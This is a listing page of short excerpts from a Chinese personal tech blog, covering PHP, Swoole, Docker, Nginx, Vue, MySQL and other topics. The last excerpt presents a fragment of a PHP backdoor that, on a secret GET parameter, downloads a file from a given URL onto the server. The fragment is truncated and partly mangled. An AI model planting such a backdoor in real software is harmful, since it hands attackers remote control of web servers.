PHP如何使用Composer来自动加载项目文件?

Composer是PHP的依赖管理工具。它允许您声明您的项目所依赖的库, 并且它将为您管理 (安装/更新) 它们。它以每个项目为基础管理它们, 并将它们安装在项目内的目录 (如 vendor) 中. 默认情况下, 它不会在全局范围内安装任何内容。因此, 它是一个依赖关系管理器。 下载composer.phar文件,即可在任意操作系统上通过PHP运行软件包工具,更新时可直接重新下载文件; https
PHP如何使用Composer来自动加载项目文件?

PHP+Swoole实现web版的SSH客户端

本来是想通过PHP的proc_open和进程进行交互,可是中间的坑太多了,不得不转换一下思路,然后想起来宝塔有网页版SSH客户端,然后研究了一下,嘿嘿,发现能成😁😁😁。 使用了有名的xterm.js,基本可作为生产使用了。(权限记得做好) 测试Demo :http://cname.teiao.com:5701 Github:https://github.com/friend-nicen/php-w
PHP+Swoole实现web版的SSH客户端

记录Docker使用过程中遇到的难点和问题

Docker 将应用程序与该程序的依赖,打包在一个文件里面。运行这个文件,就会生成一个虚拟容器。程序在这个虚拟容器里运行,就好像在真实的物理机上运行一样。有了 Docker,就不用担心环境问题。 被打包的程序可以是一个操作系统,也可以是Nginx应用,也可以是PHP等任意一种“程序”,打包之后的镜像可以在任意一台安装了Docker的主机上,完美的运行。 多个容器可以和不使用容器的应用一样,相互进行
记录Docker使用过程中遇到的难点和问题

Nginx学习笔记,持续记录

使用过程中发现很多新问题,在这里记录一下; nginx events 模块主要是nginx 和用户交互网络连接优化的配置内容 accept_mutex,这个配置主要可以用来解决常说的\"惊群\"问题。大致意思是在某一个时刻,客户端发来一个请求连接,Nginx后台是以多进程的工作模式,也就是说有多个worker进程会被同时唤醒,但是最终只会有一个进程可以获取到连接,如果每次唤醒的进程数目太多,就会影响N
Nginx学习笔记,持续记录

Linux创建逻辑卷,合并多块数据盘。

逻辑卷管理的技术可理解为,将单个或多个物理磁盘分区(PV物理卷)组成逻辑卷组(VG),再把卷组分成多个逻辑卷(LV),主要特点是,在不影响原来数据情况下可简易的扩充磁盘的大小(缩小硬盘空间可能会导至数据丢失)。 就是真正的物理硬盘或分区。 将多个物理卷合起来就组成了卷组,组成同一个卷组的物理卷可以是同一个硬盘的不同分区,也可以是不同硬盘上的不同分区。我们可以把卷组想象为一个逻辑硬盘。 卷组是一个逻
Linux创建逻辑卷,合并多块数据盘。

Vue-Cli该如何使用?Vue-Cli学习笔记,持续记录

修改.Env环境变量文件之后,需要重新运行server才会生效。环境变量通过process.ENV访问。可以在项目根目录中放置下列文件来指定环境变量: .env # 在所有的环境中被载入 .local # 在所有的环境中被载入,但会被 git 忽略 .env. # 只在指定的模式中被载入 .env..local # 只在指定的模式中被载入,但会被 git 忽略 以 VUE_
Vue-Cli该如何使用?Vue-Cli学习笔记,持续记录

如何解决改了php.ini中的open_basedir之后仍然报open_basedir restriction错误的问题?

今天PHP突然报open_basedir restriction错误,改了php.ini还是报错,于是百度查了查,总结如下: 原来LNMP1.2的防跨目录由原来在php.ini中设置 移至网站根目录下的 .user.ini 进行控制。所以要修改open_basedir的目录,得修改网站根目录下的 .user.ini .user.ini文件无法直接修改 如要修改,需要先执行:chattr -i /网
如何解决改了php.ini中的open_basedir之后仍然报open_basedir restriction错误的问题?

PHP解析Xml:SimpleXML类学习笔记

SimpleXML 是 PHP 5 中的新特性。SimpleXML 扩展提供了一种获取 XML 元素的名称和文本的简单方式。与 DOM 或 Expat 解析器相比,SimpleXML 仅仅用几行代码就可以从 XML 元素中读取文本数据。SimpleXML 可把 XML 文档(或 XML 字符串)转换为对像; 元素被转换为 SimpleXMLElement 对象的单一属性。当同一级别上存在多个元素时
PHP解析Xml:SimpleXML类学习笔记

mysql锁机制学习笔记,持续记录

Mysql中锁的分类按照不同类型的划分可以分成不同的锁,按照「锁的粒度」划分可以分成:表锁、页锁、行锁;按照思想的划分:「乐观锁」和「悲观锁」。 行级锁定最大的特点就是锁定对象的粒度很小,也是目前各大数据库管理软件所实现的锁定颗粒度最小的。由于锁定颗粒度很小,所以发生锁定资源争用的概率也最小,能够给予应用程序尽可能大的并发处理能力而提高一些需要高并发应用系统的整体性能。 mysql中使用行级锁定的
mysql锁机制学习笔记,持续记录

Node.js 初入门?持续记录

教程:https://www.runoob.com/nodejs/nodejs-tutorial.html 事件循环:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/EventLoop 版本列表:https://nodejs.org/dist/,下载并解压: xz -d node-v17.2.0-linux-x64.tar.xz ta
Node.js 初入门?持续记录

HTML DOM的各种宽高、偏移位置的属性总结

兼容性:All; 指的是元素的可视部分宽度和高度,即padding+content,如果没有滚动条,即为元素设定的高度和宽度,如果出现滚动条,滚动条会遮盖元素的宽高,那么该属性就是其本来宽高减去滚动条的宽高,包含内边距,但不包括水平滚动条、边框和外边距。 测量包含元素的边框(border)、水平线上的内边距(padding)、竖直方向滚动条(scrollbar)(如果存在的话)、以及CSS设置的宽
HTML DOM的各种宽高、偏移位置的属性总结

Ant Design Vue使用记录,持续记录

好些问题,每次解决了,下次遇到了又要重新翻文档,干脆就自己记录一下。 Form.create(options) | this.$form.createForm(this, options) ,通过JFX方式去定义一个Form组件的各种属性。经 Form.create() 包装过的组件会自带 this.form 属性,如果使用 template 语法,可以使用 this.$form.createFo
Ant Design Vue使用记录,持续记录

前端自适应方案总结,前端最佳自适应方案

我们看到的每个屏幕都是由一颗颗我们肉眼难以看到的小颗粒(物理像素)组成的。 是计算机坐标系统中的一个点,这个点代表一个可以由程序使用的虚拟像素(比如说CSS像素)。一个CSS像素对应多少个设备像素是根据当前的缩放比例 12px对应36px,缩放0.5,12px对应18px。扩大2.0,12px对应72px。 它的数值体现了物理像素和逻辑像素之间的关系,用公式可以计算出该设备的DPR的大小: DPR
前端自适应方案总结,前端最佳自适应方案

Uniapp、Html5plus、Native.js开发记录

获取应用主Activity实例对象,什么是Activity (活动)? Android的四大组件之一的Activity(活动):Activity是一个应用程序的组件,他在屏幕上提供了一个区域,允许用户在上面做一些交互性的操作, 比如打电话,照相,发送邮件,或者显示一个地图!Activity可以理解成一个绘制用户界面的窗口, 而这个窗口可以填满整个屏幕,也可能比屏幕小或者浮动在其他窗口的上方! 作用
Uniapp、Html5plus、Native.js开发记录

开车有哪些技巧和需要注意的地方?持续记录

记录一下常见的开车场景,以及操作技巧。(方向盘半圈,轮胎转动15度) 快走沙慢走水、不快不慢走泥巴、走灰不走白,遇黑停下来。 车身距离障碍物1m以上,后视镜和障碍物对齐时打满方向盘即可 车身距离障碍物0.5m以上,车窗中间和障碍物对齐时打满方向盘即可 车身距离障碍物贴近后视镜时,车身B柱和障碍物对齐时打满方向盘即可 侧方位出库:看到前车后保险杠上沿时,方向盘打满可安全出库 倒车入库的常用技巧: 直
开车有哪些技巧和需要注意的地方?持续记录

详细了解 Cookie、Session、Token以及oauth2、jwt

很久很久以前,Web 基本上就是文档的浏览而已,既然是浏览,作为服务器,不需要记录谁在某一段时间里都浏览了什么文档。 每次请求都是一个新的 HTTP 协议,就是请求加响应,尤其不用记住是谁刚刚发了 HTTP 请求,每个请求相对来说都是全新的。 但是随着交互式 Web 应用的兴起,像在线购物网站和需要登录的网站等就面临一个问题,那就是要管理会话,必须记住哪些人登录系统,哪些人往自己的购物车中放商品。
详细了解 Cookie、Session、Token以及oauth2、jwt

Vuex3.x、Vuex4.x状态管理器学习笔记

Vuex:https://v3.vuex.vuejs.org/zh 什么是状态管理器?方便调试,方便维护数据。https://vuex.vuejs.org/zh/#%E4%BB%80%E4%B9%88%E6%98%AF%E2%80%9C%E7%8A%B6%E6%80%81%E7%AE%A1%E7%90%86%E6%A8%A1%E5%BC%8F%E2%80%9D%EF%BC%9F import Vu
Vuex3.x、Vuex4.x状态管理器学习笔记

虎年年会抽奖网页源码分享

年会抽奖程序,乐呵乐呵哈。 抽奖名单在`js/member.js`里。 抽奖之后会动态更新中奖人员名单。 Gitee:https://gitee.com/friend-nicen/yearlottery Github:https://github.com/friend-nicen/lottery 演示地址:year.nicen.cn 最新版 演示地址:year.nicen.cn/1.2 1.2版
虎年年会抽奖网页源码分享

Swoole 学习:协程、线程、IO多路复用、PHP多进程。

回顾自己学的操作系统原理,线程分为系统级线程和用户级线程(线程是调度单位、进程是资源分配单位) 系统级:调度由操作系统控制,线程之间的切换是系统层面; 用户级:程序内的类似老大一样的程序控制着所有的线程,切换是在程序内完成,相比系统级的线程切换更快,基本不消耗资源; 不同在哪呢?系统级线程的分配的时间片(由操作系统分配的运行时间)是1比1的,创建10个就是10个量级。用户级线程则是共享着所属进程的
Swoole 学习:协程、线程、IO多路复用、PHP多进程。

Layui学习笔记,一起加油!

Layui(谐音:类 UI) 是一套开源的 Web UI 解决方案,采用自身经典的模块化规范,并遵循原生 HTML/CSS/JS 的开发方式,极易上手,拿来即用。 全局对象 layui,一切从它开始。 建立模块入口,并通过 layui.use() 方式来加载该入口文件,加载指定目录下的index.js文件内的模块。 <script> layui.config({ base: \'/res
Layui学习笔记,一起加油!

JS模块化编程以及AMD、CMD规范、Webpack

先想一想,为什么模块很重要? 随着网站功能逐渐丰富,网页中的js也变得越来越复杂和臃肿,原有通过script标签来导入一个个的js文件这种方式已经不能满足现在互联网开发模式,我们需要团队协作、模块复用、单元测试等等一系列复杂的需求。 因为有了模块,我们就可以更方便地使用别人的代码,想要什么功能,就加载什么模块。 但是,这样做有一个前提,那就是大家必须以同样的方式编写模块,否则你有你的写法,我有我的
JS模块化编程以及AMD、CMD规范、Webpack

一段简单的PHP后门代码,什么都能干

这是最简单的、也是最容易发现的一种实现了,PHP后门种类繁多,真是防不胜防。 if($_GET==\"ok\"){ echo \'OK\'; function downFile($url,$path){ $arr=parse_url($url); $fileName=basename($arr); $file=file_get_contents($url); } downFil
一段简单的PHP后门代码,什么都能干